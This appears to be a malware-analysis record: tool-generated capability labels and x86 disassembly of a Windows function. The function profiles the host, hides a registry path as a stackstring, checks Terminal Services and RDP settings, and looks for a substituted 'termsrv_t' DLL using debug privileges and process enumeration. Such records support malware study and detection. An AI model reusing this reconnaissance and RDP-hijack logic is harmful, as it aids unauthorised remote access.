Function at 0x5958170
Capabilities:
Acquire debug privileges
Check for time delay via gettickcount
Check os version
Contain obfuscated stackstrings
Enumerate processes
Get common file path
Get cpu information
Get disk information
Get disk size
Get session user name
Query or enumerate registry value
Query service status

Disassembly:
sub esp, 0x59c
push ebx
push ebp
mov ebp, dword [esp + 0x5a8]
push esi
push edi
mov ecx, 0xf8
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0xbc]
xor esi, esi
push eax
mov dword [esp + 0xc0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0xc0]
cmp eax, 4
ja 0x59581b8
mov esi, 0x5968c28
cmp eax, 5
jne 0x59581e7
mov eax, dword [esp + 0xc4]
test eax, eax
jne 0x59581cf
mov esi, str.2000
jmp 0x5958246
cmp eax, 1
jne 0x59581db
mov esi, 0x5968c1c
jmp 0x5958246
cmp eax, 2
jne 0x5958246
mov esi, str.2003
jmp 0x5958246
cmp eax, 6
jne 0x5958246
mov eax, dword [esp + 0xc4]
test eax, eax
jne 0x595820f
cmp byte [esp + 0x156], 1
jne 0x5958208
mov esi, str.Vista
jmp 0x5958246
mov esi, str.2008
jmp 0x5958246
cmp eax, 1
jne 0x595822c
cmp byte [esp + 0x156], 1
jne 0x5958225
mov esi, 0x5967f68
jmp 0x5958246
mov esi, str.2008R2
jmp 0x5958246
cmp eax, 2
jne 0x5958246
mov al, byte [esp + 0x156]
mov esi, 0x5967f64
cmp al, 1
je 0x5958246
mov esi, str.2012
mov ecx, dword [esp + 0x150]
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
and ecx, 0xffff
push ecx
push esi
push str.Windows__s_SP_d
push ebp
call ebx
mov ecx, 0xc
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea edi, [esp + 0x3b4]
add esp, 0x10
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x4c]
mov ecx, 0x35
xor eax, eax
lea edi, [esp + 0x3d4]
push edx
push 0xf003f
rep stosd dword es:[edi], eax
mov dword [esp + 0x54], eax
push eax
lea eax, [esp + 0x3b0]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x59582e7
lea ecx, [esp + 0x60]
lea edx, [ebp + 0x80]
push ecx
mov ecx, dword [esp + 0x50]
lea eax, [esp + 0x78]
push edx
push eax
push 0
push str.ProcessorNameString
push ecx
mov dword [esp + 0x78], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x4c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x595830f
mov edi, str.Find_CPU_infomation_error
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
mul esi
mov ecx, edx
mov eax, esi
xor edx, edx
mov esi, 0x5265c00
div esi
mov edi, 0x36ee80
shr ecx, 0x18
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
mov eax, 0x95217cb1
push edx
mul esi
shr edx, 0x15
push edx
push ecx
lea ecx, [ebp + 0x100]
push str._dDay__dHour__dMin
push ecx
call ebx
add esp, 0x14
call fcn.059538d0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x180]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp + 0x200]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x5c]
mov dword [esp + 0x5c], 0x80
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.05954e70
mov esi, dword [sym.imp.MSVCRT.dll_atol]
push eax
call esi
mov dword [ebp + 0x300], eax
call fcn.059559a0
push eax
call esi
add esp, 8
xor esi, esi
xor edi, edi
mov dword [ebp + 0x304], eax
xor ebx, ebx
mov al, bl
lea ecx, [esp + 0x50]
add al, 0x42
push ecx
mov byte [esp + 0x54], al
mov byte [esp + 0x55], 0x3a
mov byte [esp + 0x56], 0x5c
mov byte [esp + 0x57], 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x595843b
lea edx, [esp + 0x6c]
lea eax, [esp + 0x64]
push edx
lea ecx, [esp + 0x7c]
push eax
lea edx, [esp + 0x58]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
mov ecx, 0x1e
call fcn.05959b30
mov edx, dword [esp + 0x70]
add esi, eax
mov eax, dword [esp + 0x6c]
mov ecx, 0x1e
call fcn.05959b30
add edi, eax
inc ebx
cmp ebx, 0x1a
jl 0x59583d2
lea eax, [ebp + 0x280]
push 0x80
push eax
push str.RDP_Tcp
mov dword [ebp + 0x308], esi
mov dword [ebp + 0x30c], edi
call fcn.05954de0
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x5958485
push str.OpenSCManager_Error_
jmp 0x5958772
push 0xf01ff
push str.TermService
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x59584a6
push str.OpenService_Error_
jmp 0x5958772
lea ecx, [esp + 0x80]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x59584cf
call edi
push esi
call edi
push str.QueryServiceStatus_Error_
jmp 0x5958772
call edi
push esi
call edi
cmp dword [esp + 0x84], 4
jne 0x595876d
push 0
push 0
lea edx, [esp + 0xa4]
push 0
push edx
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call fcn.0594d9f0
lea eax, [esp + 0xbc]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x24
test eax, eax
jne 0x5958766
lea ecx, [esp + 0x158]
push str.Win_XP
push ecx
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
test eax, eax
jne 0x595875f
mov dl, 0x53
push 0
mov byte [esp + 0x14], dl
mov byte [esp + 0x16], dl
mov byte [esp + 0x29], dl
mov byte [esp + 0x2d], dl
mov byte [esp + 0x3a], dl
mov dl, 0x61
mov byte [esp + 0x43], dl
mov byte [esp + 0x45], dl
mov al, 0x65
push 0
lea edx, [esp + 0x4b0]
push 0
mov byte [esp + 0x27], al
mov byte [esp + 0x32], al
mov byte [esp + 0x36], al
mov byte [esp + 0x3b], al
mov byte [esp + 0x3f], al
mov byte [esp + 0x43], al
mov byte [esp + 0x48], al
mov byte [esp + 0x4f], al
mov byte [esp + 0x51], al
push edx
push 2
lea eax, [esp + 0x24]
push str.ServiceDll
mov cl, 0x72
mov bl, 0x74
push eax
push 0x80000002
mov byte [esp + 0x31], 0x59
mov byte [esp + 0x33], 0x54
mov byte [esp + 0x34], 0x45
mov byte [esp + 0x35], 0x4d
mov byte [esp + 0x36], 0x5c
mov byte [esp + 0x37], 0x43
mov byte [esp + 0x38], 0x75
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], cl
mov byte [esp + 0x3c], 0x6e
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x43
mov byte [esp + 0x3f], 0x6f
mov byte [esp + 0x40], 0x6e
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], cl
mov byte [esp + 0x43], 0x6f
mov byte [esp + 0x44], 0x6c
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x5c
mov byte [esp + 0x4b], cl
mov byte [esp + 0x4c], 0x76
mov byte [esp + 0x4d], 0x69
mov byte [esp + 0x4e], 0x63
mov byte [esp + 0x50], 0x73
mov byte [esp + 0x51], 0x5c
mov byte [esp + 0x52], 0x54
mov byte [esp + 0x54], cl
mov byte [esp + 0x55], 0x6d
mov byte [esp + 0x58], cl
mov byte [esp + 0x59], 0x76
mov byte [esp + 0x5a], 0x69
mov byte [esp + 0x5b], 0x63
mov byte [esp + 0x5d], 0x5c
mov byte [esp + 0x5e], 0x50
mov byte [esp + 0x60], cl
mov byte [esp + 0x62], 0x6d
mov byte [esp + 0x64], bl
mov byte [esp + 0x66], cl
mov byte [esp + 0x67], 0x73
mov byte [esp + 0x68], 0
call fcn.0594d9f0
lea ecx, [esp + 0x4c8]
push str.termsrv_t
push ecx
call dword [sym.imp.MSVCRT.dll__mbsstr]
add esp, 0x28
test eax, eax
je 0x5958758
lea edx, [esp + 0x2a0]
push 0x104
push edx
mov dword [esp + 0x180], pe_nt_image_headers32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x2a0]
push str._termsrv_t.dll
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.05958ca0
add esp, 8
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x178]
mov esi, eax
push ecx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x5958737
mov eax, dword [esp + 0x180]
lea edx, [esp + 0x2a0]
push edx
push eax
call fcn.05956c10
add esp, 8
test eax, eax
jne 0x5958732
lea ecx, [esp + 0x178]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x5958737
mov eax, dword [esp + 0x180]
lea edx, [esp + 0x2a0]
push edx
push eax
call fcn.05956c10
add esp, 8
test eax, eax
je 0x5958704
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.SeDebugPrivilege
call fcn.05958ca0
add esp, 8
test edi, edi
je 0x5958758
push 0x5968af0
jmp 0x5958772
push 0x5968ae0
jmp 0x5958772
push 0x5968acc
jmp 0x5958772
push 0x5968abc
jmp 0x5958772
push 0x5968aac
add ebp, 0x310
push ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x59c
ret 4